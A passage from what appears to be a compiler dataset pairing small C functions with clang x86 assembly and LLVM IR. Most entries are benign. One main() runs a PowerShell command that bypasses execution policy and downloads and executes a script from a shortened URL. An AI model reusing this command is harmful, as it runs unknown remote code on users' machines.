jle    1157 <main+0x47>
mov    -0xc(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    113f <main+0x2f>
mov    -0x8(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    112f <main+0x1f>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1030 <__VERIFIER_nondet_int@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 0, i32* %1
%5 = call i32 (...) @__VERIFIER_nondet_int()
store i32 %5, i32* %4
%6 = load i32, i32* %4
store i32 %6, i32* %2
br label %7
7: ; preds = %18, %0
%8 = load i32, i32* %2
%9 = icmp sgt i32 %8, 0
br i1 %9, label %10, label %21
10: ; preds = %7
%11 = load i32, i32* %4
store i32 %11, i32* %3
br label %12
12: ; preds = %15, %10
%13 = load i32, i32* %3
%14 = icmp sgt i32 %13, 0
br i1 %14, label %15, label %18
15: ; preds = %12
%16 = load i32, i32* %3
%17 = sub nsw i32 %16, 1
store i32 %17, i32* %3
br label %12
18: ; preds = %12
%19 = load i32, i32* %2
%20 = sub nsw i32 %19, 1
store i32 %20, i32* %2
br label %7
21: ; preds = %7
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 (...) @__VERIFIER_nondet_int()
ret i32 0
}
int integrity_kernel_module_request(char *kmod_name) { return 0; }


x86 assembly (clang, -O0):
<integrity_kernel_module_request>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<integrity_kernel_module_request>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @integrity_kernel_module_request(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
ret i32 0
}

LLVM IR (-O2):
define i32 @integrity_kernel_module_request(i8* nocapture readnone %0) {
ret i32 0
}
int lexrxp(int c) { return 0; }


x86 assembly (clang, -O0):
<lexrxp>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<lexrxp>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @lexrxp(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
ret i32 0
}

LLVM IR (-O2):
define i32 @lexrxp(i32 %0) {
ret i32 0
}
char decodeToChar(char in, char in2) {
  if (in == 48 && in2 >= 48 && in2 <= 57) {
    return '0' + in2 - 48;
  } else if (in = 48 && in2 == 68) {
    return '.';
  }
  return 0;
}


x86 assembly (clang, -O0):
<decodeToChar>:
push   %rbp
mov    %rsp,%rbp
mov    %sil,%al
mov    %dil,%cl
mov    %cl,-0x2(%rbp)
mov    %al,-0x3(%rbp)
movsbl -0x2(%rbp),%eax
cmp    $0x30,%eax
jne    1149 <decodeToChar+0x49>
movsbl -0x3(%rbp),%eax
cmp    $0x30,%eax
jl     1149 <decodeToChar+0x49>
movsbl -0x3(%rbp),%eax
cmp    $0x39,%eax
jg     1149 <decodeToChar+0x49>
movsbl -0x3(%rbp),%eax
add    $0x30,%eax
sub    $0x30,%eax
mov    %al,-0x1(%rbp)
jmp    1175 <decodeToChar+0x75>
movsbl -0x3(%rbp),%eax
cmp    $0x44,%eax
sete   %al
and    $0x1,%al
movzbl %al,%eax
mov    %al,-0x2(%rbp)
cmp    $0x0,%al
je     116c <decodeToChar+0x6c>
movb   $0x2e,-0x1(%rbp)
jmp    1175 <decodeToChar+0x75>
jmp    1171 <decodeToChar+0x71>
movb   $0x0,-0x1(%rbp)
movsbl -0x1(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<decodeToChar>:
xor    %ecx,%ecx
cmp    $0x44,%sil
mov    $0x2e,%eax
cmovne %ecx,%eax
lea    -0x30(%rsi),%ecx
cmp    $0xa,%cl
cmovae %eax,%esi
cmp    $0x30,%dil
cmove  %esi,%eax
ret

LLVM IR (-O0):
define signext i8 @decodeToChar(i8 signext %0, i8 signext %1) {
%3 = alloca i8
%4 = alloca i8
%5 = alloca i8
store i8 %0, i8* %4
store i8 %1, i8* %5
%6 = load i8, i8* %4
%7 = sext i8 %6 to i32
%8 = icmp eq i32 %7, 48
br i1 %8, label %9, label %23
9: ; preds = %2
%10 = load i8, i8* %5
%11 = sext i8 %10 to i32
%12 = icmp sge i32 %11, 48
br i1 %12, label %13, label %23
13: ; preds = %9
%14 = load i8, i8* %5
%15 = sext i8 %14 to i32
%16 = icmp sle i32 %15, 57
br i1 %16, label %17, label %23
17: ; preds = %13
%18 = load i8, i8* %5
%19 = sext i8 %18 to i32
%20 = add nsw i32 48, %19
%21 = sub nsw i32 %20, 48
%22 = trunc i32 %21 to i8
store i8 %22, i8* %3
br label %33
23: ; preds = %13, %9, %2
%24 = load i8, i8* %5
%25 = sext i8 %24 to i32
%26 = icmp eq i32 %25, 68
%27 = zext i1 %26 to i32
%28 = trunc i32 %27 to i8
store i8 %28, i8* %4
%29 = icmp ne i8 %28, 0
br i1 %29, label %30, label %31
30: ; preds = %23
store i8 46, i8* %3
br label %33
31: ; preds = %23
br label %32
32: ; preds = %31
store i8 0, i8* %3
br label %33
33: ; preds = %32, %30, %17
%34 = load i8, i8* %3
ret i8 %34
}

LLVM IR (-O2):
define signext i8 @decodeToChar(i8 signext %0, i8 signext %1) {
%3 = icmp eq i8 %0, 48
%4 = add i8 %1, -48
%5 = icmp ult i8 %4, 10
%6 = and i1 %3, %5
%7 = icmp eq i8 %1, 68
%8 = select i1 %7, i8 46, i8 0
%9 = select i1 %6, i8 %1, i8 %8
ret i8 %9
}
/* Variables and functions */
int /*<<< orphan*/ print_char(char);
int /*<<< orphan*/ print_number(int);
int main(void) {
  print_number(98);
  print_char('\n');
  print_number(402);
  print_char('\n');
  print_number(1024);
  print_char('\n');
  print_number(0);
  print_char('\n');
  print_number(-98);
  print_char('\n');
  return (0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x62,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0x192,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0x400,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
xor    %edi,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0xffffff9e,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
mov    $0x62,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0x192,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0x400,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
xor    %edi,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
mov    $0xffffff9e,%edi
call   1030 <print_number@plt>
mov    $0xa,%edi
call   1040 <print_char@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @print_number(i32 98)
%3 = call i32 @print_char(i8 signext 10)
%4 = call i32 @print_number(i32 402)
%5 = call i32 @print_char(i8 signext 10)
%6 = call i32 @print_number(i32 1024)
%7 = call i32 @print_char(i8 signext 10)
%8 = call i32 @print_number(i32 0)
%9 = call i32 @print_char(i8 signext 10)
%10 = call i32 @print_number(i32 -98)
%11 = call i32 @print_char(i8 signext 10)
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 @print_number(i32 98)
%2 = tail call i32 @print_char(i8 signext 10)
%3 = tail call i32 @print_number(i32 402)
%4 = tail call i32 @print_char(i8 signext 10)
%5 = tail call i32 @print_number(i32 1024)
%6 = tail call i32 @print_char(i8 signext 10)
%7 = tail call i32 @print_number(i32 0)
%8 = tail call i32 @print_char(i8 signext 10)
%9 = tail call i32 @print_number(i32 -98)
%10 = tail call i32 @print_char(i8 signext 10)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ stderr;
void Usage(char *prog_name) {
  fprintf(stderr, "usage: %s <number of threads> <number of terms>\n",
          prog_name);
  exit(0);
}


x86 assembly (clang, -O0):
<Usage>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2ead(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rdx
lea    0xec0(%rip),%rsi
call   1030 <fprintf@plt>
xor    %edi,%edi
call   1040 <exit@plt>

x86 assembly (clang, -O2):
<Usage>:
push   %rax
mov    %rdi,%rdx
mov    0x2eb5(%rip),%rax
mov    (%rax),%edi
lea    0xecc(%rip),%rsi
call   1030 <fprintf@plt>
xor    %edi,%edi
call   1040 <exit@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [49 x i8] c"usage: %s <number of threads> <number of terms>\0A\00"
define void @Usage(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i32, i32* @stderr
%4 = load i8*, i8** %2
%5 = call i32 @fprintf(i32 %3, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str, i64 0, i64 0), i8* %4)
%6 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [49 x i8] c"usage: %s <number of threads> <number of terms>\0A\00"
define void @Usage(i8* %0) {
%2 = load i32, i32* @stderr
%3 = tail call i32 @fprintf(i32 %2, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str, i64 0, i64 0), i8* %0)
%4 = tail call i32 @exit(i32 0)
unreachable
}
/* Variables and functions */
int /*<<< orphan*/ nokia_lcd_cmd(int);
void nokia_lcd_goto_offset(char y_axis, char x_axis) {
  nokia_lcd_cmd((0x40 | (y_axis & 0x07)));
  nokia_lcd_cmd((0x80 | (x_axis & 0x7f)));
}


x86 assembly (clang, -O0):
<nokia_lcd_goto_offset>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %sil,%al
mov    %dil,%cl
mov    %cl,-0x1(%rbp)
mov    %al,-0x2(%rbp)
movsbl -0x1(%rbp),%edi
and    $0x7,%edi
or     $0x40,%edi
call   1030 <nokia_lcd_cmd@plt>
movsbl -0x2(%rbp),%edi
and    $0x7f,%edi
or     $0x80,%edi
call   1030 <nokia_lcd_cmd@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<nokia_lcd_goto_offset>:
push   %rbx
mov    %esi,%ebx
and    $0x7,%dil
or     $0x40,%dil
movzbl %dil,%edi
call   1030 <nokia_lcd_cmd@plt>
or     $0x80,%bl
movzbl %bl,%edi
pop    %rbx
jmp    1030 <nokia_lcd_cmd@plt>

LLVM IR (-O0):
define void @nokia_lcd_goto_offset(i8 signext %0, i8 signext %1) {
%3 = alloca i8
%4 = alloca i8
store i8 %0, i8* %3
store i8 %1, i8* %4
%5 = load i8, i8* %3
%6 = sext i8 %5 to i32
%7 = and i32 %6, 7
%8 = or i32 64, %7
%9 = call i32 @nokia_lcd_cmd(i32 %8)
%10 = load i8, i8* %4
%11 = sext i8 %10 to i32
%12 = and i32 %11, 127
%13 = or i32 128, %12
%14 = call i32 @nokia_lcd_cmd(i32 %13)
ret void
}

LLVM IR (-O2):
define void @nokia_lcd_goto_offset(i8 signext %0, i8 signext %1) {
%3 = and i8 %0, 7
%4 = or i8 %3, 64
%5 = zext i8 %4 to i32
%6 = tail call i32 @nokia_lcd_cmd(i32 %5)
%7 = or i8 %1, -128
%8 = zext i8 %7 to i32
%9 = tail call i32 @nokia_lcd_cmd(i32 %8)
ret void
}
void soru_6(float sayi, char *isaret, int *tam, float *ondalik) {}


x86 assembly (clang, -O0):
<soru_6>:
push   %rbp
mov    %rsp,%rbp
movss  %xmm0,-0x4(%rbp)
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %rdx,-0x20(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<soru_6>:
ret

LLVM IR (-O0):
define void @soru_6(float %0, i8* %1, i32* %2, float* %3) {
%5 = alloca float
%6 = alloca i8*
%7 = alloca i32*
%8 = alloca float*
store float %0, float* %5
store i8* %1, i8** %6
store i32* %2, i32** %7
store float* %3, float** %8
ret void
}

LLVM IR (-O2):
define void @soru_6(float %0, i8* nocapture %1, i32* nocapture %2, float* nocapture %3) {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ endwin();
int /*<<< orphan*/ gui_window_read_terminal_size();
int /*<<< orphan*/ gui_window_refresh_windows();
int /*<<< orphan*/ refresh();
void gui_window_refresh_screen(int full_refresh) {
  if (full_refresh) {
    endwin();
    refresh();
    gui_window_read_terminal_size();
    refresh();
  }
  gui_window_refresh_windows();
}


x86 assembly (clang, -O0):
<gui_window_refresh_screen>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
cmpl   $0x0,-0x4(%rbp)
je     1171 <gui_window_refresh_screen+0x31>
mov    $0x0,%al
call   1060 <endwin@plt>
mov    $0x0,%al
call   1050 <refresh@plt>
mov    $0x0,%al
call   1030 <gui_window_read_terminal_size@plt>
mov    $0x0,%al
call   1050 <refresh@plt>
mov    $0x0,%al
call   1040 <gui_window_refresh_windows@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gui_window_refresh_screen>:
test   %edi,%edi
je     1165 <gui_window_refresh_screen+0x25>
push   %rax
xor    %eax,%eax
call   1060 <endwin@plt>
xor    %eax,%eax
call   1050 <refresh@plt>
xor    %eax,%eax
call   1030 <gui_window_read_terminal_size@plt>
xor    %eax,%eax
call   1050 <refresh@plt>
add    $0x8,%rsp
xor    %eax,%eax
jmp    1040 <gui_window_refresh_windows@plt>

LLVM IR (-O0):
define void @gui_window_refresh_screen(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp ne i32 %3, 0
br i1 %4, label %5, label %10
5: ; preds = %1
%6 = call i32 (...) @endwin()
%7 = call i32 (...) @refresh()
%8 = call i32 (...) @gui_window_read_terminal_size()
%9 = call i32 (...) @refresh()
br label %10
10: ; preds = %5, %1
%11 = call i32 (...) @gui_window_refresh_windows()
ret void
}

LLVM IR (-O2):
define void @gui_window_refresh_screen(i32 %0) {
%2 = icmp eq i32 %0, 0
br i1 %2, label %8, label %3
3: ; preds = %1
%4 = tail call i32 (...) @endwin()
%5 = tail call i32 (...) @refresh()
%6 = tail call i32 (...) @gui_window_read_terminal_size()
%7 = tail call i32 (...) @refresh()
br label %8
8: ; preds = %3, %1
%9 = tail call i32 (...) @gui_window_refresh_windows()
ret void
}
/* Variables and functions */
scalar_t__ abs(long long);
long long numberOfOnes(long long a) {
  long long foo = 0;
  while (abs(a)) {
    if (a % 2 == 1)
      foo += 1;
    a /= 10;
  }
  return foo;
}


x86 assembly (clang, -O0):
<numberOfOnes>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
movq   $0x0,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <abs@plt>
cmp    $0x0,%rax
je     1172 <numberOfOnes+0x62>
mov    -0x8(%rbp),%rax
mov    $0x2,%ecx
cqto
idiv   %rcx
cmp    $0x1,%rdx
jne    115b <numberOfOnes+0x4b>
mov    -0x10(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x10(%rbp)
mov    -0x8(%rbp),%rax
mov    $0xa,%ecx
cqto
idiv   %rcx
mov    %rax,-0x8(%rbp)
jmp    1124 <numberOfOnes+0x14>
mov    -0x10(%rbp),%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<numberOfOnes>:
xor    %ecx,%ecx
test   %rdi,%rdi
je     1161 <numberOfOnes+0x61>
movabs $0x6666666666666667,%rsi
66 66 66
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
mov    %rdi,%rax
shr    $0x3f,%rax
add    %rdi,%rax
and    $0xfffffffffffffffe,%rax
mov    %rdi,%rdx
sub    %rax,%rdx
xor    %eax,%eax
cmp    $0x1,%rdx
sete   %al
add    %rax,%rcx
mov    %rdi,%rax
imul   %rsi
mov    %rdx,%rax
shr    $0x3f,%rax
sar    $0x2,%rdx
add    %rax,%rdx
add    $0x9,%rdi
cmp    $0x12,%rdi
mov    %rdx,%rdi
ja     1120 <numberOfOnes+0x20>
mov    %rcx,%rax
ret

LLVM IR (-O0):
define i64 @numberOfOnes(i64 %0) {
%2 = alloca i64
%3 = alloca i64
store i64 %0, i64* %2
store i64 0, i64* %3
br label %4
4: ; preds = %15, %1
%5 = load i64, i64* %2
%6 = call i64 @abs(i64 %5)
%7 = icmp ne i64 %6, 0
br i1 %7, label %8, label %18
8: ; preds = %4
%9 = load i64, i64* %2
%10 = srem i64 %9, 2
%11 = icmp eq i64 %10, 1
br i1 %11, label %12, label %15
12: ; preds = %8
%13 = load i64, i64* %3
%14 = add nsw i64 %13, 1
store i64 %14, i64* %3
br label %15
15: ; preds = %12, %8
%16 = load i64, i64* %2
%17 = sdiv i64 %16, 10
store i64 %17, i64* %2
br label %4
18: ; preds = %4
%19 = load i64, i64* %3
ret i64 %19
}

LLVM IR (-O2):
define i64 @numberOfOnes(i64 %0) {
%2 = icmp eq i64 %0, 0
br i1 %2, label %13, label %3
3: ; preds = %1, %3
%4 = phi i64 [ %9, %3 ], [ 0, %1 ]
%5 = phi i64 [ %10, %3 ], [ %0, %1 ]
%6 = srem i64 %5, 2
%7 = icmp eq i64 %6, 1
%8 = zext i1 %7 to i64
%9 = add nuw nsw i64 %4, %8
%10 = sdiv i64 %5, 10
%11 = add i64 %5, 9
%12 = icmp ult i64 %11, 19
br i1 %12, label %13, label %3
13: ; preds = %3, %1
%14 = phi i64 [ 0, %1 ], [ %9, %3 ]
ret i64 %14
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, int);
int sqrt(int);
int main() {
  printf("%.8lf\n", 1 + 2 * sqrt(3) / (5 - 0.1));
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x3,%edi
call   1040 <sqrt@plt>
shl    $0x1,%eax
cvtsi2sd %eax,%xmm1
movsd  0xec0(%rip),%xmm0
divsd  %xmm0,%xmm1
movsd  0xeac(%rip),%xmm0
addsd  %xmm1,%xmm0
cvttsd2si %xmm0,%esi
lea    0xead(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
mov    $0x3,%edi
call   1040 <sqrt@plt>
add    %eax,%eax
cvtsi2sd %eax,%xmm0
divsd  0xec7(%rip),%xmm0
addsd  0xec7(%rip),%xmm0
cvttsd2si %xmm0,%esi
lea    0xec4(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [7 x i8] c"%.8lf\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @sqrt(i32 3)
%3 = mul nsw i32 2, %2
%4 = sitofp i32 %3 to double
%5 = fdiv double %4, 4.900000e+00
%6 = fadd double 1.000000e+00, %5
%7 = fptosi double %6 to i32
%8 = call i32 @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 %7)
ret i32 0
}

LLVM IR (-O2):
@.str = [7 x i8] c"%.8lf\0A\00"
define i32 @main() {
%1 = tail call i32 @sqrt(i32 3)
%2 = shl nsw i32 %1, 1
%3 = sitofp i32 %2 to double
%4 = fdiv double %3, 4.900000e+00
%5 = fadd double %4, 1.000000e+00
%6 = fptosi double %5 to i32
%7 = tail call i32 @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 %6)
ret i32 0
}
/* Variables and functions */
char *malloc(int);
int /*<<< orphan*/ strcpy(char *, char *);
size_t strlen(char *);
char *getStrPtr(char *str) {
  char *ret = malloc(sizeof(char) * (strlen(str) + 1));
  strcpy(ret, str);
  ret[strlen(str)] = '\0';
  return ret;
}


x86 assembly (clang, -O0):
<getStrPtr>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1040 <strlen@plt>
add    $0x1,%rax
shl    $0x0,%rax
mov    %eax,%edi
call   1050 <malloc@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x8(%rbp),%rsi
call   1030 <strcpy@plt>
mov    -0x10(%rbp),%rax
mov    %rax,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
call   1040 <strlen@plt>
mov    %rax,%rcx
mov    -0x18(%rbp),%rax
movb   $0x0,(%rax,%rcx,1)
mov    -0x10(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<getStrPtr>:
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r14
call   1040 <strlen@plt>
lea    0x1(%rax),%edi
call   1050 <malloc@plt>
mov    %rax,%rbx
mov    %rax,%rdi
mov    %r14,%rsi
call   1030 <strcpy@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
movb   $0x0,(%rbx,%rax,1)
mov    %rbx,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i8* @getStrPtr(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
%5 = call i64 @strlen(i8* %4)
%6 = add i64 %5, 1
%7 = mul i64 1, %6
%8 = trunc i64 %7 to i32
%9 = call i8* @malloc(i32 %8)
store i8* %9, i8** %3
%10 = load i8*, i8** %3
%11 = load i8*, i8** %2
%12 = call i32 @strcpy(i8* %10, i8* %11)
%13 = load i8*, i8** %3
%14 = load i8*, i8** %2
%15 = call i64 @strlen(i8* %14)
%16 = getelementptr inbounds i8, i8* %13, i64 %15
store i8 0, i8* %16
%17 = load i8*, i8** %3
ret i8* %17
}

LLVM IR (-O2):
define i8* @getStrPtr(i8* %0) {
%2 = tail call i64 @strlen(i8* dereferenceable(1) %0)
%3 = trunc i64 %2 to i32
%4 = add i32 %3, 1
%5 = tail call i8* @malloc(i32 %4)
%6 = tail call i32 @strcpy(i8* %5, i8* %0)
%7 = tail call i64 @strlen(i8* dereferenceable(1) %0)
%8 = getelementptr inbounds i8, i8* %5, i64 %7
store i8 0, i8* %8
ret i8* %5
}
int AlwaysZero() { return 0; }


x86 assembly (clang, -O0):
<AlwaysZero>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<AlwaysZero>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @AlwaysZero() {
ret i32 0
}

LLVM IR (-O2):
define i32 @AlwaysZero() {
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ FLEXCOMM3_DriverIRQHandler();
__attribute__((weak)) void FLEXCOMM3_IRQHandler(void) {
  FLEXCOMM3_DriverIRQHandler();
}


x86 assembly (clang, -O0):
<FLEXCOMM3_IRQHandler>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <FLEXCOMM3_DriverIRQHandler@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<FLEXCOMM3_IRQHandler>:
xor    %eax,%eax
jmp    1030 <FLEXCOMM3_DriverIRQHandler@plt>

LLVM IR (-O0):
define weak void @FLEXCOMM3_IRQHandler() {
%1 = call i32 (...) @FLEXCOMM3_DriverIRQHandler()
ret void
}

LLVM IR (-O2):
define weak void @FLEXCOMM3_IRQHandler() {
%1 = tail call i32 (...) @FLEXCOMM3_DriverIRQHandler()
ret void
}
/* Variables and functions */
size_t st_sizsize(const void *k) { return sizeof(size_t); }


x86 assembly (clang, -O0):
<st_sizsize>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    $0x8,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<st_sizsize>:
mov    $0x8,%eax
ret

LLVM IR (-O0):
define i64 @st_sizsize(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
ret i64 8
}

LLVM IR (-O2):
define i64 @st_sizsize(i8* nocapture readnone %0) {
ret i64 8
}
void ExttPropertyAuxTable(void) {}


x86 assembly (clang, -O0):
<ExttPropertyAuxTable>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ExttPropertyAuxTable>:
ret

LLVM IR (-O0):
define void @ExttPropertyAuxTable() {
ret void
}

LLVM IR (-O2):
define void @ExttPropertyAuxTable() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/nwzhodj'); "
         "GetQuake\"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [123 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nwzhodj'); GetQuake\22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [123 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nwzhodj'); GetQuake\22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ GPIOPinTypeGPIOOutput(int, int);
int /*<<< orphan*/ GPIOPinWrite(int, int, int);
int /*<<< orphan*/ SysCtlPeripheralEnable(int);
void ina_init(void) {
  SysCtlPeripheralEnable(0x20000008);
  GPIOPinTypeGPIOOutput(0x40007000, 0x00000040);
  GPIOPinTypeGPIOOutput(0x40007000, 0x00000080);
  GPIOPinWrite(0x40007000, 0x00000080, 0xff);
  GPIOPinWrite(0x40007000, 0x00000040, 0xff);
}


x86 assembly (clang, -O0):
<ina_init>:
push   %rbp
mov    %rsp,%rbp
mov    $0x20000008,%edi
call   1030 <SysCtlPeripheralEnable@plt>
mov    $0x40007000,%edi
mov    $0x40,%esi
call   1040 <GPIOPinTypeGPIOOutput@plt>
mov    $0x40007000,%edi
mov    $0x80,%esi
call   1040 <GPIOPinTypeGPIOOutput@plt>
mov    $0x40007000,%edi
mov    $0x80,%esi
mov    $0xff,%edx
call   1050 <GPIOPinWrite@plt>
mov    $0x40007000,%edi
mov    $0x40,%esi
mov    $0xff,%edx
call   1050 <GPIOPinWrite@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<ina_init>:
push   %rax
mov    $0x20000008,%edi
call   1030 <SysCtlPeripheralEnable@plt>
mov    $0x40007000,%edi
mov    $0x40,%esi
call   1040 <GPIOPinTypeGPIOOutput@plt>
mov    $0x40007000,%edi
mov    $0x80,%esi
call   1040 <GPIOPinTypeGPIOOutput@plt>
mov    $0x40007000,%edi
mov    $0x80,%esi
mov    $0xff,%edx
call   1050 <GPIOPinWrite@plt>
mov    $0x40007000,%edi
mov    $0x40,%esi
mov    $0xff,%edx
pop    %rax
jmp    1050 <GPIOPinWrite@plt>

LLVM IR (-O0):
define void @ina_init() {
%1 = call i32 @SysCtlPeripheralEnable(i32 536870920)
%2 = call i32 @GPIOPinTypeGPIOOutput(i32 1073770496, i32 64)
%3 = call i32 @GPIOPinTypeGPIOOutput(i32 1073770496, i32 128)
%4 = call i32 @GPIOPinWrite(i32 1073770496, i32 128, i32 255)
%5 = call i32 @GPIOPinWrite(i32 1073770496, i32 64, i32 255)
ret void
}

LLVM IR (-O2):
define void @ina_init() {
%1 = tail call i32 @SysCtlPeripheralEnable(i32 536870920)
%2 = tail call i32 @GPIOPinTypeGPIOOutput(i32 1073770496, i32 64)
%3 = tail call i32 @GPIOPinTypeGPIOOutput(i32 1073770496, i32 128)
%4 = tail call i32 @GPIOPinWrite(i32 1073770496, i32 128, i32 255)
%5 = tail call i32 @GPIOPinWrite(i32 1073770496, i32 64, i32 255)
ret void
}